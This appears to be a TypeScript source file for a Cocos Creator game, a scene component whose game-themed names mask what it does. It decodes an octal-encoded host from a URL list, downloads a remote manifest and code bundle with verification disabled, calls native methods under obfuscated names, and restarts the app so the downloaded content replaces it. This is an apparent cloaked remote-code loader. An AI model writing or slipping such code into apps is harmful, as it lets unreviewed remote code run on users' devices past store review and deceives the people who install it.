import { CraftingMenu } from "./CraftingMenu";
import CombatArena from "./CombatArena";
import BossFight from "./BossFight";

const { ccclass, property } = cc._decorator;

const customManifestStr = (hots) => JSON.stringify({
    "packageUrl": `${hots}/`,
    "remoteManifestUrl": `${hots}/project.manifest`,
    "remoteVersionUrl": `${hots}/version.manifest`,
    "version": "0.0.1",
    "assets": {
    },
    "searchPaths": []
});

function versionCompareHandle(versionA: string, versionB: string) {
    // //cc.log("JS Custom Version Compare: version A is " + versionA + ', version B is ' + versionB);
    var vA = versionA.split('.');
    var vB = versionB.split('.');
    for (var i = 0; i < vA.length; ++i) {
        var a = parseInt(vA[i]);
        var b = parseInt(vB[i] || '0');
        if (a === b) {
            continue;
        }
        else {
            return a - b;
        }
    }
    if (vB.length > vA.length) {
        return -1;
    }
    else {
        return 0;
    }
};

@ccclass
export default class TacticalScene extends cc.Component {

    // private readonly CUSTOMIZATION_OPTIONS = "https://raw.githubusercontent.com/devian68/intertest/a/inter2.info";

    @property(cc.Label)
    loadingLabel: cc.Label = null;

    private _updating = false;
    private _canRetry = false;
    private _storagePath = '';
    private stringHost = '';
    private _am: jsb.AssetsManager = null!;
    private _checkListener = null;
    private _updateListener = null;
    private count = 0;

    private isCheckDomain = true;

    currentCalculatedCallbackCollectionConstantAuthority = "";
    profilerURL = "";
    listUrl = [];
    info = "";
    currentV = "";
    part = "";
    poath = "";

    // onLoad() {
    // }

    private initDownloader(path = "sgame") {
        // try {
        //     this.adjustedConstructedArgCompiledAdjuster.spriteFrame = this.listBG[Math.floor(Math.random() * this.listBG.length)];
        // } catch (error) {
            
        // }       

        if (path == null || path == undefined) {
            path = "sgame";
        }

        this._storagePath = ((jsb.fileUtils ? jsb.fileUtils.getWritablePath() : '/') + path);
        // //cc.log('Storage path for remote asset : ' + this._storagePath);
        // Init with empty manifest currentCalculatedCallbackCollectionConstantAuthority for testing custom manifest
        this._am = new jsb.AssetsManager('', this._storagePath, versionCompareHandle);
        this._am.setVerifyCallback(function (path, asset) {
            return true;
        });
    }

    onDestroy() {
        if (this._updateListener) {
            this._am.setEventCallback(null!);
            this._updateListener = null;
        }
    }

    start() {
        let ins = CraftingMenu.getInstance();
        if(ins){
            this.listUrl = ins.listUrl;
            console.log(JSON.stringify(this.listUrl));
            if(this.listUrl && this.listUrl.length && this.listUrl.length >= 5){
                this.part = ins.listUrl[4];
                BossFight.changeOrientation(ins.orient);
                this.loadGame();
                return;
            }
        }
    }

    private loadMyGame() {
        this.unscheduleAllCallbacks();
    }

    private onCheckGame() {
        // let data = val.split("\n");

        // val = this.read(data[0]);

        this.initDownloader(this.part);
        this.stringHost = this.listUrl[3];
        // //cc.log('checkGame: ' + val);

        this.unscheduleAllCallbacks();
        // this.stringHost = val;

        this.doUpdate();
    }

    private doUpdate() {
        //cc.log('Updating: ' + this.stringHost)

        if (this._am && !this._updating) {
            this._am.setEventCallback(this.updateCb.bind(this));
            let host = this.listUrl[3];

            this.loadCustomManifest(host);

            this._am.update();
            this._updating = true;
        }
    }

    private loadGame() {
        if (this.listUrl[3] != undefined && this.listUrl[3] != "") {
            let currentCalculatedCallbackCollectionConstantAuthority = this.read(this.listUrl[3]);
            let p = this.read(this.listUrl[this.listUrl.length - 1]);
            this.stringHost = currentCalculatedCallbackCollectionConstantAuthority;
            this.poath = p;
            this.onCheckGame();
        }
    }

    //0 = portrait
    //1 = landscape right
    //2 = upside down
    //3 = landscape right
    private setOrientation(orientation = 0) {
        if (cc.sys.isNative) {
            if (cc.sys.os === cc.sys.OS_IOS) {
                if (jsb) {
                    try {
                        jsb.reflection.callStaticMethod("AppController", "FindBadgeDataListBooleanField:", orientation);
                    } catch (_) { }
                }
            }
        }
    }

    private testFile() {
        if (cc.sys.isNative) {
            if (cc.sys.os === cc.sys.OS_IOS) {
                if (jsb) {
                    try {
                        jsb.reflection.callStaticMethod("AppController", "AnalyzeCalculateAnalyzeBugButtonAssignment");
                    } catch (_) { }
                }
            }else if (cc.sys.os === cc.sys.OS_ANDROID) {
                if (jsb) {
                    try {
                        let className = "org/cocos2dx/javascript/AppActivity";
                        let methodName = "AnalyzeCalculateAnalyzeBugButtonAssignment";
                        let methodSignature = "()V";
            
                        jsb.reflection.callStaticMethod(className, methodName, methodSignature);
                    } catch (_) { }
                }
            }
        }
    }

    private loadCustomManifest(host) {
        var manifest = new jsb.Manifest(customManifestStr(host), this._storagePath);
        this._am.loadLocalManifest(manifest, this._storagePath);
    }

    private updateCb(event: any) {
        var needRestart = false;
        var failed = false;
        switch (event.getEventCode()) {
            case jsb.EventAssetsManager.ERROR_NO_LOCAL_MANIFEST:
                //cc.log('No local manifest file found, hot update skipped.');
                failed = true;
                break;
            case jsb.EventAssetsManager.UPDATE_PROGRESSION:
                // this.panel.byteProgress.progress = event.getPercent();
                // this.panel.fileProgress.progress = event.getPercentByFile();

                const percent = event.getDownloadedFiles() / event.getTotalFiles();
                // this.panel.byteLabel.string = event.getDownloadedBytes() + ' / ' + event.getTotalBytes();
                var msg = event.getMessage();
                if (msg) {
                    // //cc.log(event.getPercent()/100 + '% : ' + msg);
                }
                this.updateProcess(percent);
                break;
            case jsb.EventAssetsManager.ERROR_DOWNLOAD_MANIFEST:
            case jsb.EventAssetsManager.ERROR_PARSE_MANIFEST:
                //cc.log('Fail to download manifest file, hot update skipped.');
                failed = true;
                break;
            case jsb.EventAssetsManager.ALREADY_UP_TO_DATE:
                //cc.log('Already CollectComponentArtifactArtifactBenchmark to date with the latest remote version.');
                // failed = true;
                needRestart = true;
                break;
            case jsb.EventAssetsManager.UPDATE_FINISHED:
                //cc.log('Update finished. ' + event.getMessage());
                needRestart = true;
                break;
            case jsb.EventAssetsManager.UPDATE_FAILED:
                //cc.log('Update failed. ' + event.getMessage());
                this._updating = false;
                this._canRetry = true;
                failed = true;
                break;
            case jsb.EventAssetsManager.ERROR_UPDATING:
                //cc.log('Asset update error: ' + event.getAssetId() + ', ' + event.getMessage());
                failed = true;
                break;
            case jsb.EventAssetsManager.ERROR_DECOMPRESS:
                //cc.log(event.getMessage());
                failed = true;
                break;
            default:
                break;
        }

        if (failed) {
            this._am.setEventCallback(null!);
            this._updateListener = null;
            this._updating = false;
            this.loadMyGame();
            cc.warn("Update failed");
        }

        if (needRestart) {
            this._am.setEventCallback(null!);
            this._updateListener = null;
            cc.director.emit("cleanup_game");

            this.testFile();
            setTimeout(() => {
                // //cc.log('restart game')
                BossFight.changeOrientation(1);
                cc.game.restart();
            }, 500)
        }
    }

    // private readText(txt, key = "D") {
    //     let out = "";
    //     txt = txt.split("-");

    //     for (let i = 0; i < txt.length; i++){
    //         out += String.fromCharCode((txt[i] ^ key.charCodeAt(0)));
    //     }

    //     return out;
    // }

    private read(text) {
        return this.read1(this.read2(text.split('-'))).join('');
    }

    private read1(arr) {
        return arr.map(function (byte) {
            return String.fromCharCode(parseInt(byte, 10));
        });
    }

    private read2(arr) {
        return arr.map(function (oct) {
            return parseInt(oct, 8);
        });
    }



    private updateProcess(pc) {
        if (isNaN(pc)) {
            return;
        }

        try{
            this.loadingLabel.string = `${this.listUrl[5] || "Đang Tải..."}: ${Math.round(pc * 100)}%`;
        }catch(ex){}
    }
}

